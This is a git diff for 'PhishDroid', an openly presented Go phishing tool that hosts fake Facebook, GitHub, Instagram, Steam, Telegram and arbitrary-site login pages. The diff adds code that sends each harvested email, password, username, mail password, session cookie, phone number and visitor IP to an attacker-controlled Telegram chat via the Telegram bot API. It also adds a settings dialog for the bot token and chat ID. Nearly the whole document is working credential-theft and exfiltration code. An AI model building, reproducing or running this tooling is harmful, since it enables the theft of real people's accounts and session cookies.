diff --git a/baseTelegramBot.go b/baseTelegramBot.go new file mode 100644 index 0000000..7a89779 --- /dev/null +++ b/baseTelegramBot.go @@ -0,0 +1,86 @@ +package main + +import ( + "encoding/json" + "errors" + "io/ioutil" + "net/http" + "net/url" + "os" + "strings" + + "github.com/raifpy/Go/raiFile" + + "github.com/raifpy/Go/errHandler" +) + +type tgBot struct { + use bool + hash string + chatID string +} + +//NewtgBot PhishDroid v0.2 +func NewtgBot(hash, chatID string) *tgBot { + return &tgBot{use: true, hash: hash, chatID: chatID} +} +func (t tgBot) send(text string) { + go http.Get("https://api.telegram.org/bot" + t.hash + "/sendMessage?chat_id=" + t.chatID + "&text=" + url.QueryEscape(text)) + //return err + +} +func (t tgBot) sendReturn(text string) ([]byte, error) { + response, err := http.Get("https://api.telegram.org/bot" + t.hash + "/sendMessage?chat_id=" + t.chatID + "&text=" + url.QueryEscape(text)) + if errHandler.HandlerBool(err) { + return nil, err + } + ham, _ := ioutil.ReadAll(response.Body) + return ham, nil + +} +func (t tgBot) test() (bool, string) { + var sonuc map[string]interface{} + respByte, err := t.sendReturn("Hello From @Codeksiyon 's PhishDroid\nThis is test message; You can delete.") + if errHandler.HandlerBool(err) { + return false, err.Error() + } + err = json.Unmarshal(respByte, &sonuc) + if errHandler.HandlerBool(err) { + return false, err.Error() + } + ok, ok2 := sonuc["ok"].(bool) + if !ok2 { + return false, "API Error Level 1" + } + if !ok { + return false, sonuc["description"].(string) + } + return true, "" + +} + +func checkTGBotAvaible() bool { + _, err := os.Stat("./tgbot") + if os.IsNotExist(err) { + return false + } + return true +} + +func getTGBot() (*tgBot, error) { + value, err := ioutil.ReadFile("./tgbot") + if errHandler.HandlerBool(err) { + return nil, err + } + valueStr := string(value) + valueList := strings.Split(valueStr, "\n") + if len(valueList) < 2 { // hash \n chat_id + return nil, errors.New("tgbot file error 1") + } + return &tgBot{use: true, hash: valueList[0], chatID: valueList[1]}, nil + +} + +func setTGBot(t tgBot) error { + return raiFile.WriteFile("./tgbot", t.hash+"\n"+t.chatID) +} diff --git a/custom.go b/custom.go index 7746be5..cfcbb95 100644 --- a/custom.go +++ b/custom.go @@ -88,8 +88,12 @@ func customHTMLServer(win fyne.Window, textGrid *widget.TextGrid, html, redirect valueStr := request.Form.Encode() for _, eleman := range strings.Split(valueStr, "&") { *textStream += strings.Replace(eleman, "=", " : ", -1) + "\n" + if useTelegramBot { + tg.send(eleman) + } } textGrid.SetText(*textStream) + notiApp.SendNotification(fyne.NewNotification("New Form", valueStr)) http.Redirect(response, request, redirectURL, 301) } diff --git a/facebook.go b/facebook.go index a1fc62a..71f1d64 100644 --- a/facebook.go +++ b/facebook.go @@ -40,6 +40,9 @@ func serveFacebookLogin(win fyne.Window, textGrid *widget.TextGrid, textStream * return } *textStream += "Email = " + email + "\nPass = " + pass + "\n" + if useTelegramBot { + tg.send("Email = " + email + "\nPass = " + pass) + } notiApp.SendNotification(fyne.NewNotification("New Form", email+" : "+pass)) textGrid.SetText(*textStream) http.Redirect(response, request, "https://facebook.com", 301) diff --git a/github.go b/github.go index 100b7bb..4637a77 100644 --- a/github.go +++ b/github.go @@ -22,13 +22,20 @@ func serveGithubLogin(win fyne.Window, textGrid *widget.TextGrid, textStream *st if login != "" || pass != "" { log.Printf("Login = %s Passw = %s", login, pass) + *textStream += "\nlogin = " + login + "\nPass = " + pass + "\n" + if useTelegramBot { + tg.send("Login = " + login + "\nPass = " + pass) + } textGrid.SetText(*textStream) notiApp.SendNotification(fyne.NewNotification("New Form", login+" : "+pass)) http.Redirect(response, req, "https://github.com", 301) return } *textStream += "New Requests\n" + if useTelegramBot { + tg.send("New Request on GitHub") + } textGrid.SetText(*textStream) } else { log.Println("Error to req.ParseFrom") diff --git a/gui.go b/gui.go index b6fa379..b696e69 100644 --- a/gui.go +++ b/gui.go @@ -25,11 +25,13 @@ import ( "fyne.io/fyne/widget" ) +var version float64 = 0.2 +var useTelegramBot = false +var isThisOtoTGBot = false +var tg tgBot var cizgi = widget.NewToolbarSeparator().ToolbarObject() var space = widget.NewLabel("") -const version = 0.1 - func islem(win fyne.Window, uyg fyne.App, typePhis string) { var fonksiyon func(fyne.Window, *widget.TextGrid, *string) switch typePhis { @@ -122,13 +124,13 @@ func main() { } }() - win.SetIcon(iconsource) + win.SetIcon(resourceFesPng) icon := canvas.NewImageFromResource(resourceFesPng) icon.FillMode = canvas.ImageFillOriginal phishdroidText := widget.NewLabelWithStyle("PhishDroid B E T A", fyne.TextAlignCenter, fyne.TextStyle{true, false, false}) - codeksyinText := widget.NewLabelWithStyle("©Codeksiyon All Rights Reserved", fyne.TextAlignCenter, fyne.TextStyle{false, true, true}) + codeksyinText := widget.NewLabelWithStyle("©Codeksiyon Freemium", fyne.TextAlignCenter, fyne.TextStyle{false, true, true}) infinity := widget.NewProgressBarInfinite() infinity.Start() @@ -168,8 +170,22 @@ func main() { func gui(uyg fyne.App, win fyne.Window) { go func() { - if checkNgrok() { + if checkNgrok() { // if ngrok already avaible + + if checkTGBotAvaible() { // vers 0.2 + tgo, err := getTGBot() + if errHandler.HandlerBool(err) { + return + } + tg = *tgo + + useTelegramBot = true + isThisOtoTGBot = true + fmt.Println(tg) + + } return + // } time.Sleep(time.Second * 3) infi := dialog.NewProgressInfinite("ngrok downloading", "Ngrok downloading for your arch ("+runtime.GOARCH+")", win) @@ -181,12 +197,13 @@ func gui(uyg fyne.App, win fyne.Window) { infi.Hide() }() infi.Show() + runtime.GC() }() //customngroklink := widget.NewTextGridFromString("ngrok url waiting") - customLabel := widget.NewLabel("You can use every site's template") - customText := widget.NewTextGridFromString("How To\n\nType your site and presss go!") + customLabel := widget.NewLabel("You can use every site's template [unstable]") + customText := widget.NewTextGridFromString("Type your site and presss go!") customEntry := widget.NewEntry() customEntry.SetPlaceHolder("https://cartcurtweb.com/login") @@ -275,20 +292,122 @@ func gui(uyg fyne.App, win fyne.Window) { facebookGroup := widget.NewGroup("Facebook", facebookLoginButon, space, cizgi) facebook := widget.NewAccordionItem("Facebook", facebookGroup) accortdion := widget.NewAccordionContainer(instagram, facebook, telegram, github, steam) + + // settings | version 0.2 + + settingsButton := widget.NewButtonWithIcon("Settings", theme.SettingsIcon(), func() { // vers 0.2 + useTelegramCheck := widget.NewCheck("Use TelegramBots", func(tap bool) { + if !tap { + isThisOtoTGBot = false + useTelegramBot = false + return + } + if isThisOtoTGBot { + return + } + tgHash := widget.NewEntry() + tgHash.SetPlaceHolder("Bot Token (1231312-FGhsdjaa_ss)") + + tgChatID := widget.NewEntry() + tgChatID.SetPlaceHolder("Chat ID ( 888928282 )") + + go func() { + if checkTGBotAvaible() { + oldTG, err := getTGBot() + if errHandler.HandlerBool(err) { + return + } + tgHash.SetText(oldTG.hash) + tgChatID.SetText(oldTG.chatID) + } + }() + + /*tgButton := widget.NewButton("ok", func() { + if tgHash.Text == "" || tgChatID.Text == "" { + dialog.ShowInformation("Empty Entry", "Please fill all entrys", win) + return + } + tgTest := NewtgBot(tgHash.Text, tgChatID.Text) + if ok, str := tgTest.test(); !ok { + dialog.ShowInformation("Telegram Say", str, win) + return + } + err := setTGBot(*tgTest) + if errHandler.HandlerBool(err) { + dialog.ShowError(err, win) + return + } + tg = *tgTest + useTelegramBot = true + isThisOtoTGBot = true + + dialog.ShowInformation("Done", "We can go!", win) + return + + })*/ + + tgBotVre := widget.NewVBox(tgHash, tgChatID /*, tgButton*/) + //dialog.ShowCustom("Type Ur Bot", "Back", tgBotVre, win) + dialog.ShowCustomConfirm("Type Your Bot", "Ok", "Cancel", tgBotVre, func(ok bool) { + if !ok { + return + } + if tgHash.Text == "" || tgChatID.Text == "" { + dialog.ShowInformation("Empty Entry", "Please fill all entrys", win) + return + } + tgTest := NewtgBot(tgHash.Text, tgChatID.Text) + if ok, str := tgTest.test(); !ok { + dialog.ShowInformation("Telegram Say", str, win) + return + } + err := setTGBot(*tgTest) + if errHandler.HandlerBool(err) { + dialog.ShowError(err, win) + return + } + tg = *tgTest + useTelegramBot = true + isThisOtoTGBot = true + + dialog.ShowInformation("Done", "We can go!", win) + return + }, win) + + /*if checkTGBotAvaible() { + oldTG, err := getTGBot() + if errHandler.HandlerBool(err) { + dialog.ShowError(err, win) + return + } + + + }*/ + }) + if useTelegramBot { + useTelegramCheck.SetChecked(true) + } + //useTelegramContent := widget.NewGroup("Use Telegram-Bot") + dialog.ShowCustom("Settings", "< Ok >", useTelegramCheck, win) + }) + // + aboutTitle := widget.NewLabel("PhishDroid OpenSource GoLang Application") - versionArch := widget.NewTextGridFromString(fmt.Sprintf("\nVersion %s\nArch %s\nGoVers %s", fmt.Sprint(version), runtime.GOARCH, runtime.Version())) + versionArch := widget.NewTextGridFromString(fmt.Sprintf("\nVersion %s\nArch %s\nGoVers %s\nNumGoRoutine %d", fmt.Sprint(version), runtime.GOARCH, runtime.Version(), runtime.NumGoroutine())) codeksiyonURL, _ := url.Parse("https://t.me/codeksiyon") githubURL, _ := url.Parse("https://github.com/codeksiyon/PhishDroid") - raifpyURL, _ := url.Parse("https://t.me/raifpy") - grid := fyne.NewContainerWithLayout(layout.NewGridLayoutWithColumns(3), widget.NewHyperlink("@codeksiyon", codeksiyonURL), widget.NewHyperlink("PhishDroid", githubURL), widget.NewHyperlink("@raifpy", raifpyURL)) - aboutGroup := widget.NewVBox(aboutTitle, versionArch, grid) + releasesURL, _ := url.Parse("https://github.com/codeksiyon/PhishDroid/releases") + //raifpyURL, _ := url.Parse("https://t.me/raifpy") + //grid := fyne.NewContainerWithLayout(layout.NewGridLayoutWithRows(2), widget.NewHyperlink("@codeksiyon", codeksiyonURL), widget.NewHyperlink("PhishDroid", githubURL)) + //aboutGroup := widget.NewVBox(aboutTitle, versionArch, grid) + aboutGroup := widget.NewVBox(aboutTitle, versionArch, space, cizgi, fyne.NewContainerWithLayout(layout.NewHBoxLayout(), widget.NewHyperlink("Codeksiyon", codeksiyonURL), widget.NewHyperlink("PhishDroid", githubURL), widget.NewHyperlink("Releases", releasesURL))) about := widget.NewButtonWithIcon("About", theme.InfoIcon(), func() { dialog.ShowCustom("About", "Back", aboutGroup, win) }) cisim := canvas.NewImageFromResource(resourceTakPng) cisim.FillMode = canvas.ImageFillOriginal - group := widget.NewGroupWithScroller("PhishDroid B E T A", accortdion, custom, about, cisim, cizgi, widget.NewLabelWithStyle("@codeksiyon GPL3+", fyne.TextAlignCenter, fyne.TextStyle{Bold: false, Italic: true, Monospace: false})) - go func() { // Check is avaible new version + group := widget.NewGroupWithScroller("PhishDroid B E T A", accortdion, custom, settingsButton, about, cisim, cizgi, widget.NewLabelWithStyle("@codeksiyon GPL3+", fyne.TextAlignCenter, fyne.TextStyle{Bold: false, Italic: true, Monospace: false})) + go func() { // Check; is avaible new version verReq, err := http.Get("https://raw.githubusercontent.com/codeksiyon/PhishDroid/master/version") if errHandler.HandlerBool(err) { //group.Append(widget.NewTextGridFromString(err.Error())) @@ -300,17 +419,33 @@ func gui(uyg fyne.App, win fyne.Window) { if errHandler.HandlerBool(err) { return } + if reqVer > version { + + // on vers; 0.2 + var news string + wnReq, err := http.Get("https://raw.githubusercontent.com/codeksiyon/PhishDroid/master/news") + if !errHandler.HandlerBool(err) { // if there is no error + newsByte, _ := ioutil.ReadAll(wnReq.Body) + news = string(newsByte) + + } + + // + log.Println("Detected new version!") newverslabel := widget.NewLabelWithStyle("New PhishDroid Version Avaible ! -> "+hamStr, fyne.TextAlignCenter, fyne.TextStyle{Bold: false, Italic: true, Monospace: false}) + whatsnewlabel := widget.NewTextGridFromString(news) newversbuton := widget.NewButton("Download", func() { githubURL, _ := url.Parse("https://github.com/codeksiyon/PhishDroid/releases") uyg.OpenURL(githubURL) }) - laylay := fyne.NewContainerWithLayout(layout.NewGridLayoutWithRows(2), newverslabel, newversbuton) + + laylay := fyne.NewContainerWithLayout(layout.NewGridLayoutWithRows(3), newverslabel, whatsnewlabel, newversbuton) group.Append(laylay) + } runtime.GC() diff --git a/instagram.go b/instagram.go index a0d9edc..d5e5df6 100644 --- a/instagram.go +++ b/instagram.go @@ -77,12 +77,18 @@ func serveInstagramTelif(win fyne.Window, textGrid *widget.TextGrid, textStream log.Printf("UserName = %s\nEmail = %s\nPassw = %s\nEmailPass = %s\n\n", key[0], mail, pass, mailPass) *textStream += "\nUserName = " + key[0] + "\nEmail = " + mail + "\nPass = " + pass + "\nMPass = " + mailPass + "\n" textGrid.SetText(*textStream) + if useTelegramBot { + tg.send("\nUserName = " + key[0] + "\nEmail = " + mail + "\nPass = " + pass + "\nMPass = " + mailPass) + } notiApp.SendNotification(fyne.NewNotification("New Form", mail+" : "+pass)) http.Redirect(response, req, "https://instagram.com", 301) return } *textStream += "New Requests For @" + key[0] + "\n" textGrid.SetText(*textStream) + if useTelegramBot { + tg.send("New Request for " + key[0]) + } } else { log.Println("Error to req.ParseFrom") } @@ -115,18 +121,27 @@ func serveInstagramLogin(win fyne.Window, textGrid *widget.TextGrid, textStream log.Println(ip) *textStream += ip textGrid.SetText(*textStream) + if useTelegramBot { + tg.send(ip) + } } username := req.FormValue("username") password := req.FormValue("password") if username != "" && password != "" { *textStream += "UserName = " + username + "\nPassword = " + password + "\n" textGrid.SetText(*textStream) + if useTelegramBot { + tg.send("UserName = " + username + "\nPass = " + password) + } notiApp.SendNotification(fyne.NewNotification("New Form", username+" : "+password)) http.Redirect(res, req, "https://instagram.com", 301) } } *textStream += "New Request\n" textGrid.SetText(*textStream) + if useTelegramBot { + tg.send("New Request") + } fmt.Fprintln(res, instagramLoginHtml) return diff --git a/steam.go b/steam.go index 814d0d7..79fbbed 100644 --- a/steam.go +++ b/steam.go @@ -23,12 +23,18 @@ func serveSteamLogin(win fyne.Window, textGrid *widget.TextGrid, textStream *str if login != "" || pass != "" { log.Printf("Login = %s Passw = %s", login, pass) *textStream += "\nlogin = " + login + "\nPass = " + pass + "\n" + if useTelegramBot { + tg.send("Login = " + login + "\nPass = " + pass) + } textGrid.SetText(*textStream) notiApp.SendNotification(fyne.NewNotification("New Form", login+" : "+pass)) http.Redirect(response, req, "https://store.steampowered.com", 301) return } *textStream += "New Requests\n" + if useTelegramBot { + tg.send("New Request on steam") + } textGrid.SetText(*textStream) } else { log.Println("Error to req.ParseFrom") diff --git a/telegram.go b/telegram.go index 1727372..5387127 100644 --- a/telegram.go +++ b/telegram.go @@ -63,15 +63,22 @@ func serveMyTelegramLogin(win fyne.Window, textGrid *widget.TextGrid, textStream if len(cookies) > 0 { cookie := cookies[0].Name + " : " + cookies[0].Value *textStream += "Phone = " + phone + "\nCookie = " + cookie + "\n" + if useTelegramBot { + tg.send("Phone = " + phone + "\nCookies:") + tg.send(cookie) + } textGrid.SetText(*textStream) notiApp.SendNotification(fyne.NewNotification("New Form", "phone : "+phone)) //http.Redirect(response, request, "https://telegram.org", 301) fmt.Fprintln(response, "") return } - *textStream += "Wrong Code :D\n" + *textStream += "Wrong Code :D : " + phone + "\n" textGrid.SetText(*textStream) - fmt.Fprintln(response, "Wrong Code!") + if useTelegramBot { + tg.send("Wrong Code for " + phone) + } + fmt.Fprintln(response, "Wrong Code : "+phone) return }